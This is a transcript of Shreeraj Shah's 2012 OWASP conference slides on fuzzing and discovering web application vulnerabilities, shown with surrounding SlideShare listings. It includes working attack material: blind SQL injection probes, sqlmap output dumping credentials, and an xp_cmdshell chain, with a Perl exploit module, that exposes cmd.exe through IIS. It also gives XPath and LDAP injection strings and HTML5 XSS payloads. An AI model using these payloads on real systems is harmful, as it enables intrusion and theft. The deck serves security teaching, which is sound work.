SlideShare une entreprise Scribd logo
1  sur  60
FIND ME IF YOU CAN – SMART FUZZING AND
               DISCOVERY


                  SHREERAJ SHAH



       OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
Who Are We?                                                http://shreeraj.blogspot.com
                                                                    shreeraj@blueinfy.com
                                                                    http://www.blueinfy.com
•   Founder & Director
     – Blueinfy Solutions Pvt. Ltd. (Brief)
     – SecurityExposure.com
•   Past experience
     – Net Square, Chase, IBM & Foundstone
•   Interest
     – Web security research
•   Published research
     – Articles / Papers – Securityfocus, O’erilly, DevX, InformIT etc.
     – Tools – wsScanner, scanweb2.0, AppMap, AppCodeScan, AppPrint etc.
     – Advisories - .Net, Java servers etc.
•   Books (Author)
     – Web 2.0 Security – Defending Ajax, RIA and SOA
     – Hacking Web Services
     – Web Hacking




                       OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
Well Known Fact!
• 90% of sites are vulnerable to one or more
  vulnerabilities.
• Exploitable ? – YES!
• Most popular ones are – SQLi & XSS
• SQLi – complete compromise of the
  application …
• XSS – Control over browser and exploitation


           OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
Traditional Fuzzing – Not working
• Enterprise running on 2.0 wave - Portal
• Technologies & Components – Dojo, Ajax, XML
  Services, Blog, Widgets
• Scan with tools/products failed
• Security issues and hacks
  –   SQL injection over XML
  –   Ajax driven XSS
  –   Several XSS with Blog component
  –   Several information leaks through JSON fuzzing
  –   CSRF on both XML and JS-Array
              » HACKED
              » DEFENSE
               OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
AppSec – Past, Present …




Source - OWASP
                 OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
                                            5
Enterprise Technology Trend
• 2007. Web services would rocket from $1.6
  billion in 2004 to $34 billion. [IDC]
• 2008. Web Services or Service-Oriented
  Architecture (SOA) would surge ahead.
• 2009. Enterprise 2.0 in action and penetrating
  deeper into the corporate environment
• 2010. Flex/Cloud/API era.
• 2012. Mobile/HTML5 era.

           OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
Architecture
                                             Documents

                                  News                          Weather

                            Mails                                     Bank/Trade
         Browser                                Internet
                                                                            RSS feeds
     Ajax
  RIA (Flash)       Internet             Web 2.0 Start
HTML / JS / DOM

                   Blog                         Database   Authentication


                                                     Application
                                                     Infrastructure
                                 Web Services
                                 End point

                   OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
Environment
   Internet                         DMZ                                          Trusted



                                                 SOAP/JSON etc.
 Mobile
Web 2.0                                                                                     W
Services                                                                                    E
                                             Scripted                    Application        B
                              Web             Web                         Servers           S
                             Server          Engine                         And             E
                            Static pages only
 Web                                          Dynamic pages
                           (HTML,HTM, etc.) (ASP,DHTML, PHP,             Integrated         R
 Client                                         CGI, etc.)               Framework          V


                                                X
                                                                                            I
                                                                           ASP.NET on       C
                                                                         .Net Framework,    E
                                                                         J2EE App Server,   S
                                                                          Web Services,
                                                DB                             etc.


                                       Internal/Corporate
              OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
Stack/Logic - Layers                                         • Android
                                                                     • iPhone/Pad
                                                                • HTML 5 Other
                                                                         •
                                                                   • Storage • Flash
                                                                           Mobile    • AMF
                                                            • WebSocket
                                                                           • DOM
                                                           • WebSQL                       •
                                                                             • JS • Storage Flex
                                                             • XHR                  • XAML
Server side
Components                                                           • Silverlight • WCF

                 Presentation Layer                                         • NET

                   Business Layer
                                                    Client side
                 Data Access Layer                  Components
                      Authentication                (Browser)
                    Communication etc.


 Runtime, Platform, Operating System Components

               OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
Browser & Mobile – Arch.
                                                                                                  Mobile



        HTML5 + CSS                       Silverlight                Flash
API (Media, Geo etc.) & Messaging                       Plug-In
                                                                                                 Presentation


                   JavaScript           DOM/Events            Parser/Threads
                                                                                        Process & Logic
                      WebSQL                        Cache           Storage


                   XHR 1 & 2             WebSocket            Plug-in Sockets
                          Browser Native Network Services                                          Network
                                                                                                   & Access


                        SOP/CORS                             Sandbox                                 Core
                                                                                                     Policies


                      OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
Case study - Pageflakes




  OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
Case study - Pageflakes
Widgets




                                                  Web Services




          OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
FUZZING & DISCOVERY




OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
OWASP’s Risk Picture




 OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
Methodology, Scan and Attacks

                                 Assets


  Footprinting & Discovery
                                               Config Scanning
  Enumeration & Crawling
                                                Code Scanning
   Attacks and Scanning

Black                                                        White
                           Secure Coding

                            Web Firewall
    Defense

                            Secure Assets

           OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
Discovery
                                                    JSON




           XML                                              JS-Script




                                                                JS-Object
    JS-Array




OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
Attack & Entry




OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
GET/POST
 GET /login.aspx?username=shah HTTP/1.1
 Host: example.com
 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.0.1) Gecko/2008070208
    Firefox/3.0.1
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: en-us,en;q=0.5
 Accept-Encoding: gzip,deflate
 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
 Keep-Alive: 300
 Connection: keep-alive


POST http://example.com/cgi-bin/search.cgi HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; rv:1.7.3) Gecko/20040913 Firefox/0.10
Accept: text/xml, application/xml, application/xhtml+xml, text/html;q=0.9, text/plain;q=0.8, image/png,
*/*;q=0.5
Keep-Alive: 300
Referer: http://example.com/
Content-Type: application/x-www-form-urlencoded
Content-Length: 17

search=searchtext


                     OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
XML-RPC
POST /trade-rpc/getquote.rem HTTP/1.0
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: xmlrpc.example.com
Content-Type: text/xml
Content-Length: 161
<?xml version="1.0"?>
<methodCall>
<methodName>stocks.getquote</methodName>
<params>
<param><value><string>MSFT</string></value></param>
</params>
</methodCall>




                  OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
SOAP
<?xml version="1.0" encoding="utf-8"?>
 <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                 xmlns:xsd="http://www.w3.org/2001/XMLSchema">
   <soap:Body>
    <getQuotes xmlns="http://tempuri.org/">
      <compid>MSFT</compid>
    </getQuotes>
   </soap:Body>
 </soap:Envelope>




                OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
REST
<?xml version="1.0"?>
<p:Laptops xmlns:p="http://laptops.example.com"
xmlns:xl="http://www.w3.org/1999/xlink">
<Laptop id="0123" xl:href="http://www.parts-depot.com/laptops/0123"/>
< Laptop id="0348" xl:href="http://www.parts-depot.com laptops /0348"/>
< Laptop id="0321" xl:href="http://www.parts-depot.com/ laptops /0321"/>
…
…
</p:Laptops>




                 OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
JSON
message = {
   from : "john@example.com",
   to : "jerry@example.com",
   subject : "I am fine",
   body : "Long message here",
   showsubject : function(){document.write(this.subject)}
};




                  OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
HIDDEN DISCOVERY




OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
Ajax driven site




OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
Crawling with Ruby/Watir




   OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
Attacker’s approach
• Fuzzing over HTTP
• Injecting faults with various set of payload
• Try to raise the exception
• Exception throw message back as part of HTTP
  response
• Scanning response for signatures
• If signature found, it becomes interesting
  entry for exploitation
           OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
Challenges
•   Technology fingerprinting
•   Hidden calls
•   Framework integration
•   Entry points are multiple
•   Traditional fuzzing will not work
•   Auto assessment can be challenge
•   Behavioral assessment with Artificial
    intelligence

             OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
Old Approach
• Forcing SQL errors.
• Ideal for identifying database interfaces!

         http://192.168.7.120/details.asp?id= ‘3


        select * from items where product_id = ‘3



                                  DB

                 OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
Error – Now? – forget it
• Premature SQL query termination

                                                                            We now have an
                                                                           SQL injection point.




             OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
Blind SQL Injection
• We have SQL injection point but it is not throwing any error message out
  as part of its response. Application is sending customized error page
  which is not revealing any signature by which we can deduce potential
  SQL flaw.
• Knowing SQL injection point or loophole in web application, xp_cmdshell
  seems to be working. But we can’t say is it working or not since it doesn’t
  return any meaningful signature. This is “blind xp_cmdshell”.
• Firewall don’t allow outbound traffic so can’t do ftp, tftp, ping etc from
  the box to the Internet by which you can confirm execution of the
  command on the target system.
• We don’t know the actual path to webroot so can’t copy file to location
  which can be accessed over HTTP or HTTPS later to confirm the execution
  of the command.
• If we know path to webroot and directory structure but can’t find execute
  permission on it so can’t copy cmd.exe or any other binary and execute
  over HTTP/HTTPS.


                  OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
Checks…
•   AND 1=1

•   DBO check
    http://192.168.50.50/details.aspx?id=1+AND+USER_NAME()='dbo'

•   Wait delay call
    http://192.168.50.50/details.aspx?id=1;waitfor+delay+'0:0:10'

•   (SELECT+ASCII(SUBSTRING((a.loginame),1,1))+FROM+master..sysprocesses+AS+a+
    WHERE+a.spid+=+@@SPID)=115

•   http://www.dvds4less.net/details.aspx?id=1+AND+(SELECT+ASCII(SUBSTRING((a.l
    oginame),1,1))+FROM+master..sysprocesses+AS+a+WHERE+a.spid+=+@@SPID)=1
    14
•   http://www.dvds4less.net/details.aspx?id=1+AND+(SELECT+ASCII(SUBSTRING((a.l
    oginame),2,1))+FROM+master..sysprocesses+AS+a+WHERE+a.spid+=+@@SPID)=9
    7


                    OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
Running tools
• SQL Map or Absinthe
   D:toolssqlmap>sqlmap.py -b -u http://192.168.50.50/details.aspx?id=1
      sqlmap/0.4 coded by inquis <bernardo.damele@gmail.com>
                and belch <daniele.bellucci@gmail.com>
   [*] starting at: 18:47:58
   [18:48:00] [WARNING] the remote DMBS is not MySQL
   [18:48:00] [WARNING] the remote DMBS is not PostgreSQL
   remote DBMS: Microsoft SQL Server
   banner:
   ---
   Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
        Oct 14 2005 00:33:37
        Copyright (c) 1988-2005 Microsoft Corporation
        Express Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
   ---
   [*] shutting down at: 18:48:14


                  OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
Enumeration…
D:toolssqlmap>sqlmap.py -b -u http://192.168.50.50/details.aspx?id=1 --dbs
   sqlmap/0.4 coded by inquis <bernardo.damele@gmail.com>
             and belch <daniele.bellucci@gmail.com>
[*] starting at: 18:53:10
[18:53:12] [WARNING] the remote DMBS is not MySQL
[18:53:12] [WARNING] the remote DMBS is not PostgreSQL
remote DBMS: Microsoft SQL Server
banner:
---
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
     Oct 14 2005 00:33:37
     Copyright (c) 1988-2005 Microsoft Corporation
     Express Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
---
available databases [9]:
[*] CmdExec_example
[*] Dashboard
[*] catalog
[*] demotrading
[*] master
[*] model
[*] msdb
[*] order
[*] tempdb
[*] shutting down at: 18:55:07


                              OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
Enumeration…
D:toolssqlmap>sqlmap.py -u http://192.168.50.50/details.aspx?id=1 --tables -D
catalog
   sqlmap/0.4 coded by inquis <bernardo.damele@gmail.com>
              and belch <daniele.bellucci@gmail.com>
[*] starting at: 18:59:21
[18:59:22] [WARNING] the remote DMBS is not MySQL
[18:59:22] [WARNING] the remote DMBS is not PostgreSQL
remote DBMS: Microsoft SQL Server
Database: catalog
[3 tables]
+--------------+
| auth        |
| dtproperties |
| items        |
+--------------+



                    OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
Enumeration…
D:toolssqlmap>sqlmap.py -u http://192.168.50.50/details.aspx?id=1 --dump -D ca
talog -T auth
  sqlmap/0.4 coded by inquis <bernardo.damele@gmail.com>
              and belch <daniele.bellucci@gmail.com>
[*] starting at: 19:01:27
[19:01:28] [WARNING] the remote DMBS is not MySQL
[19:01:28] [WARNING] the remote DMBS is not PostgreSQL
remote DBMS: Microsoft SQL Server
Database: catalog
Table: auth
[3 entries]
+--------+------+---------+
| access | user | pass |
+--------+------+---------+
| 101010 | dbo | john123 |
| 110011 | | great |
| 001011 | | loveit |
+--------+------+---------+


                      OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
Blind Exploiting
Set WshShell = WScript.CreateObject("WScript.Shell")
Set ObjExec = WshShell.Exec("cmd.exe /c echo %windir%")
windir = ObjExec.StdOut.ReadLine()
Set Root = GetObject("IIS://LocalHost/W3SVC/1/ROOT")
Set Dir = Root.Create("IIsWebVirtualDir", "secret")
Dir.Path = windir
Dir.AccessExecute = True
Dir.SetInfo


http://target/details.asp?id=1;exec+master..xp_cmdshell+’echo ' Set WshShell =
WScript.CreateObject("WScript.Shell") > c:secret.vbs’
…..
…..
…..
http://target/details.asp?id=1;exec+master..xp_cmdshell+’echo ' Dir.SetInfo
>> c:secret.vbs’

http://target/details.asp?id=1;exec+master..xp_cmdshell+'cscript+c:secret.vbs’




                             OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
Get the cmd.exe
• Run command over HTTP/HTTPS
• http://target/secret/system32/cmd.exe?+/c+set




              OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
Running…
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $path = $self->GetVar('RPATH');
my $vhost = $self->GetVar('VHOST');
my @url = split(/#/, $path);
my @payload =
("EXEC+master..xp_cmdshell+'echo+Set+WshShell+=+WScript.CreateObject("WScript.Shell")>c:secret.vbs'",
"EXEC+master..xp_cmdshell+'echo+Set+Root+=+GetObject("IIS://LocalHost/W3SVC/1/ROOT")>>c:secret.vbs'",
"EXEC+master..xp_cmdshell+'echo+Set+Dir+=+Root.Create("IIsWebVirtualDir","secret")>>c:secret.vb s'",
"EXEC+master..xp_cmdshell+'echo+Dir.Path+=+"c:winntsystem32">>c:secret.vbs'",
"EXEC+master..xp_cmdshell+'echo+Dir.AccessExecute+=+True>>c:secret.vbs'",
"EXEC+master..xp_cmdshell+'echo+Dir.SetInfo>>c:secret.vbs'",
"EXEC+master..xp_cmdshell+'cscript+c:secret.vbs'"
);
$self->PrintLine("[+] Sending SQL injection payload...");
for(my $count=0;$count<=6;$count++)
..




                            OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
XPATH injection
• XPATH parsing standard error
• XPATH is method available for XML parsing
• MS SQL server provides interface and one can
  get table content in XML format.
• Once this is fetched one can run XPATH
  queries and obtain results.
• What if username/password parsing done on
  using XPATH – XPATH injection

             OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
XPATH injection
string fulltext = "";
string coString =
   "Provider=SQLOLEDB;Server=(local);database=order;User
   ID=sa;Password=mypass";
   SqlXmlCommand co = new SqlXmlCommand(coString);
   co.RootTag="Credential";
   co.CommandType = SqlXmlCommandType.Sql;
   co.CommandText = "SELECT * FROM users for xml Auto";
   XmlReader xr = co.ExecuteXmlReader();
   xr.MoveToContent();
   fulltext = xr.ReadOuterXml();
   XmlDocument doc = new XmlDocument();
   doc.LoadXml(fulltext);
   string credential = "//users[@username='"+user+"' and
   @password='"+pass+"']";
   XmlNodeList xmln = doc.SelectNodes(credential);
   string temp;
   if(xmln.Count > 0)
   {
        //True
   }
   else //false
               OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
XPATH injection
string credential =
  "//users[@username='"+user+"' and
  @password='"+pass+"']";
• XPATH parsing can be leveraged by passing
  following string ' or 1=1 or ''=‘
• This will always true on the first node and
  user can get access as who ever is first user.
Bingo!

          OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
LDAP Injection



                      Resource viewer :
       http://www.something.com/res.cgi?type=1)(uid=*))




•Notice the injection
•Attacker bypasses the user id check
•(S)he can view all machines now



            OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
SOAP – INJECTIONS & FUZZING




  OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
Fetching Calls
• Identifying services layer calls




            OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
Technology Identification

• Location can be obtained from UDDI
  as well, if already published.
• WSDL location [ Access Point ]

http://192.168.11.2/ws/dvds4less.asmx?wsdl

                                                           .asmx – indicates
                                                           .Net server from MS




          OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
SOAP request
                                                                       SOAP
                                                                       Envelope



<?xml version="1.0" encoding="utf-16"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
 <soap:Body>
   <getProductInfo xmlns="http://tempuri.org/">
    <id>1</id>
   </getProductInfo>
 </soap:Body>
</soap:Envelope>



Input to the
method
                                             Method
                                             Call
                 OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
SOAP response
                                                                       SOAP
                                                                       Envelope



<?xml version="1.0" encoding="utf-16"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
 <soap:Body>
   <getProductInfoResponse xmlns="http://tempuri.org/">
    <getProductInfoResult>/(1)Finding Nemo($14.99)/</getProductInfoResult>
   </getProductInfoResponse>
 </soap:Body>
</soap:Envelope>



Output to the
method                                       Method
                                             response

                 OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
HTML5 & CLIENT SIDE FUZZING




  OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
HTML5 – Tags/Attributes/Events
• Tags – media (audio/video), canvas
  (getImageData), menu, embed,
  buttons/commands, Form control (keys)
• Attributes – form, submit, autofocus,
  sandbox, manifest, rel etc.
• Events/Objects – Navigation (_self), Editable
  content, Drag-Drop APIs, pushState (History)
  etc.

                                                                                      49
           OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
HTML5 – XSS
• Blacklist and filter will get bypassed
• Lot of new signatures and possible ways to
  execute scripts
• XSS can be injected from tags and events
• New attributes are available for XSS payload




                                                                                      50
           OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
XSS variants
• Media tags
• Examples
  – <video><source onerror="javascript:alert(1)“>
  – <video onerror="javascript:alert(1)"><source>




                                                                                      51
           OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
XSS variants
• Exploiting autofocus
  –   <input autofocus onfocus=alert(1)>
  –   <select autofocus onfocus=alert(1)>
  –   <textarea autofocus onfocus=alert(1)>
  –   <keygen autofocus onfocus=alert(1)>




                                                                                          52
               OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
XSS variants
• MathML issues
  – <math
    href="javascript:alert(1)">CLICKME</math>
  – <math> <maction
    actiontype="statusline#http://Blueinfy.com"
    xlink:href="javascript:alert(1)">CLICKME</mactio
    n> </math>



                                                                                      53
           OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
XSS variants
• Form & Button etc.
  – <form id="test" /><button form="test"
    formaction="javascript:alert(1)">test
  – <form><button
    formaction="javascript:alert(1)">test


• Etc … and more …


                                                                                      54
           OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
DOM BASED INJECTIONS




OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
DOM with HTML5




OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
DOM based XSS - Messaging
• It is a sleeping giant in the Ajax applications
  coupled with Web Messaging
• Root cause
   – DOM is already loaded
   – Application is single page and DOM remains same
   – New information coming needs to be injected in using
     various DOM calls like eval()
   – Information is coming from untrusted sources
   – JSONP usage
   – Web Workers and callbacks

             OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
AJAX with HTML5 – DOM
• Ajax function would be making a back-end call
• Back-end would be returning JSON stream or
  any other and get injected in DOM
• In some libraries their content type would
  allow them to get loaded in browser directly
• In that case bypassing DOM processing…



           OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
APIs …
• HTML5 few other APIs are interesting from
  security standpoint
  – File APIs – allows local file access and can mixed
    with ClickJacking and other attacks to gain client
    files.
  – Drag-Drop APIs – exploiting self XSS and few other
    tricks, hijacking cookies …
  – Lot more to explore and defend…


            OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
CONCLUSION & QUESTIONS




OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)

Contenu connexe

Tendances

Grameen Solutions Product Engineering Featured Projects 2009 11 12
Grameen Solutions   Product Engineering Featured Projects 2009 11 12Grameen Solutions   Product Engineering Featured Projects 2009 11 12
Grameen Solutions Product Engineering Featured Projects 2009 11 12
Grameen Solutions
 
Michael Adobe Flex Java 1 London
Michael Adobe Flex Java 1 LondonMichael Adobe Flex Java 1 London
Michael Adobe Flex Java 1 London
Skills Matter
 
Dharmes Mistry Tony De Bree S O A Business Persp V1b
Dharmes  Mistry    Tony De  Bree   S O A Business Persp V1bDharmes  Mistry    Tony De  Bree   S O A Business Persp V1b
Dharmes Mistry Tony De Bree S O A Business Persp V1b
SOA Symposium
 
Portalbusinessoverview
PortalbusinessoverviewPortalbusinessoverview
Portalbusinessoverview
dteboul
 
01 web sphere portal business overview
01 web sphere portal business overview01 web sphere portal business overview
01 web sphere portal business overview
ygolani
 
Dave Carroll Application Services Salesforce
Dave Carroll Application Services SalesforceDave Carroll Application Services Salesforce
Dave Carroll Application Services Salesforce
deimos
 
01. Portal Business Overview
01. Portal Business Overview01. Portal Business Overview
01. Portal Business Overview
Nick Davis
 

Tendances (20)

Grameen Solutions Product Engineering Featured Projects 2009 11 12
Grameen Solutions   Product Engineering Featured Projects 2009 11 12Grameen Solutions   Product Engineering Featured Projects 2009 11 12
Grameen Solutions Product Engineering Featured Projects 2009 11 12
 
Michael Adobe Flex Java 1 London
Michael Adobe Flex Java 1 LondonMichael Adobe Flex Java 1 London
Michael Adobe Flex Java 1 London
 
Gs Web Marketing Portfolio
Gs Web Marketing PortfolioGs Web Marketing Portfolio
Gs Web Marketing Portfolio
 
Adobe® Flex™
Adobe® Flex™Adobe® Flex™
Adobe® Flex™
 
Building Cloud-Based Cross-Platform Mobile Web Apps
Building Cloud-Based Cross-Platform Mobile Web AppsBuilding Cloud-Based Cross-Platform Mobile Web Apps
Building Cloud-Based Cross-Platform Mobile Web Apps
 
Develop multi-screen applications with Flex
Develop multi-screen applications with Flex Develop multi-screen applications with Flex
Develop multi-screen applications with Flex
 
03.egovFrame Runtime Environment Training Book
03.egovFrame Runtime Environment Training Book03.egovFrame Runtime Environment Training Book
03.egovFrame Runtime Environment Training Book
 
Dharmes Mistry Tony De Bree S O A Business Persp V1b
Dharmes  Mistry    Tony De  Bree   S O A Business Persp V1bDharmes  Mistry    Tony De  Bree   S O A Business Persp V1b
Dharmes Mistry Tony De Bree S O A Business Persp V1b
 
Portalbusinessoverview
PortalbusinessoverviewPortalbusinessoverview
Portalbusinessoverview
 
IBM WebSphere Portal References Education
IBM WebSphere Portal References EducationIBM WebSphere Portal References Education
IBM WebSphere Portal References Education
 
Top Five Reasons to Upgrade to SAP NetWeaver Portal 7.3
Top Five Reasons to Upgrade to SAP NetWeaver Portal 7.3Top Five Reasons to Upgrade to SAP NetWeaver Portal 7.3
Top Five Reasons to Upgrade to SAP NetWeaver Portal 7.3
 
Best Practices for Upgrading Your Portal to SAP NetWeaver 7.3
Best Practices for Upgrading Your Portal to SAP NetWeaver 7.3Best Practices for Upgrading Your Portal to SAP NetWeaver 7.3
Best Practices for Upgrading Your Portal to SAP NetWeaver 7.3
 
Camo Tech (Apr 2010)V191
Camo Tech (Apr 2010)V191Camo Tech (Apr 2010)V191
Camo Tech (Apr 2010)V191
 
01 web sphere portal business overview
01 web sphere portal business overview01 web sphere portal business overview
01 web sphere portal business overview
 
Dave Carroll Application Services Salesforce
Dave Carroll Application Services SalesforceDave Carroll Application Services Salesforce
Dave Carroll Application Services Salesforce
 
Creating dynamic and accessible content in Drupal 7 using WAI-ARIA
Creating dynamic and accessible content in Drupal 7 using WAI-ARIACreating dynamic and accessible content in Drupal 7 using WAI-ARIA
Creating dynamic and accessible content in Drupal 7 using WAI-ARIA
 
2012 12-06 ugsf - retour de la spc
2012 12-06 ugsf - retour de la spc2012 12-06 ugsf - retour de la spc
2012 12-06 ugsf - retour de la spc
 
Effectively using Nokia Web Tools 2.0 templates for Series 40 web apps
Effectively using Nokia Web Tools 2.0 templates for Series 40 web appsEffectively using Nokia Web Tools 2.0 templates for Series 40 web apps
Effectively using Nokia Web Tools 2.0 templates for Series 40 web apps
 
Websphere Portal
Websphere PortalWebsphere Portal
Websphere Portal
 
01. Portal Business Overview
01. Portal Business Overview01. Portal Business Overview
01. Portal Business Overview
 

En vedette

En vedette (8)

Real time evaluation of national network exposure to emerging threats - fyodo...
Real time evaluation of national network exposure to emerging threats - fyodo...Real time evaluation of national network exposure to emerging threats - fyodo...
Real time evaluation of national network exposure to emerging threats - fyodo...
 
From app sec to malsec malware hooked, criminal crooked alok gupta
From app sec to malsec malware hooked, criminal crooked   alok guptaFrom app sec to malsec malware hooked, criminal crooked   alok gupta
From app sec to malsec malware hooked, criminal crooked alok gupta
 
International approaches to critical information infrastructure protection ...
International approaches to critical information infrastructure protection   ...International approaches to critical information infrastructure protection   ...
International approaches to critical information infrastructure protection ...
 
The magic of passive web vulnerability analysis lava kumar
The magic of passive web vulnerability analysis   lava kumarThe magic of passive web vulnerability analysis   lava kumar
The magic of passive web vulnerability analysis lava kumar
 
New and improved hacking oracle from web apps sumit sidharth
New and improved hacking oracle from web apps   sumit sidharthNew and improved hacking oracle from web apps   sumit sidharth
New and improved hacking oracle from web apps sumit sidharth
 
Public exploit held private – penetration testing the researcher’s way tama...
Public exploit held private – penetration testing the researcher’s way   tama...Public exploit held private – penetration testing the researcher’s way   tama...
Public exploit held private – penetration testing the researcher’s way tama...
 
Getting the end point security right! - k. k. mookhey
Getting the end point security right! - k. k. mookheyGetting the end point security right! - k. k. mookhey
Getting the end point security right! - k. k. mookhey
 
Mobile application security – effective methodology, efficient testing! hem...
Mobile application security – effective methodology, efficient testing!   hem...Mobile application security – effective methodology, efficient testing!   hem...
Mobile application security – effective methodology, efficient testing! hem...
 

Similaire à Find me if you can – smart fuzzing and discovery! shreeraj shah

FIND ME IF YOU CAN – SMART FUZZING AND DISCOVERY
FIND ME IF YOU CAN – SMART FUZZING AND DISCOVERYFIND ME IF YOU CAN – SMART FUZZING AND DISCOVERY
FIND ME IF YOU CAN – SMART FUZZING AND DISCOVERY
Shreeraj Shah
 
Next Generation Web Attacks – HTML 5, DOM(L3) and XHR(L2)
Next Generation Web Attacks – HTML 5, DOM(L3) and XHR(L2)Next Generation Web Attacks – HTML 5, DOM(L3) and XHR(L2)
Next Generation Web Attacks – HTML 5, DOM(L3) and XHR(L2)
Shreeraj Shah
 
Shreeraj - Hacking Web 2 0 - ClubHack2007
Shreeraj - Hacking Web 2 0 - ClubHack2007Shreeraj - Hacking Web 2 0 - ClubHack2007
Shreeraj - Hacking Web 2 0 - ClubHack2007
ClubHack
 
Shreeraj-Hacking_Web_2
Shreeraj-Hacking_Web_2Shreeraj-Hacking_Web_2
Shreeraj-Hacking_Web_2
guest66dc5f
 
Building cross platform mobile web apps
Building cross platform mobile web appsBuilding cross platform mobile web apps
Building cross platform mobile web apps
James Pearce
 
An Intro to Mobile HTML5
An Intro to Mobile HTML5An Intro to Mobile HTML5
An Intro to Mobile HTML5
James Pearce
 
Silverlight development
Silverlight developmentSilverlight development
Silverlight development
Anurag Gupta
 
HTML5 and the dawn of rich mobile web applications pt 1
HTML5 and the dawn of rich mobile web applications pt 1HTML5 and the dawn of rich mobile web applications pt 1
HTML5 and the dawn of rich mobile web applications pt 1
James Pearce
 
A great api is hard to find
A great api is hard to findA great api is hard to find
A great api is hard to find
Dan Diephouse
 

Similaire à Find me if you can – smart fuzzing and discovery! shreeraj shah (20)

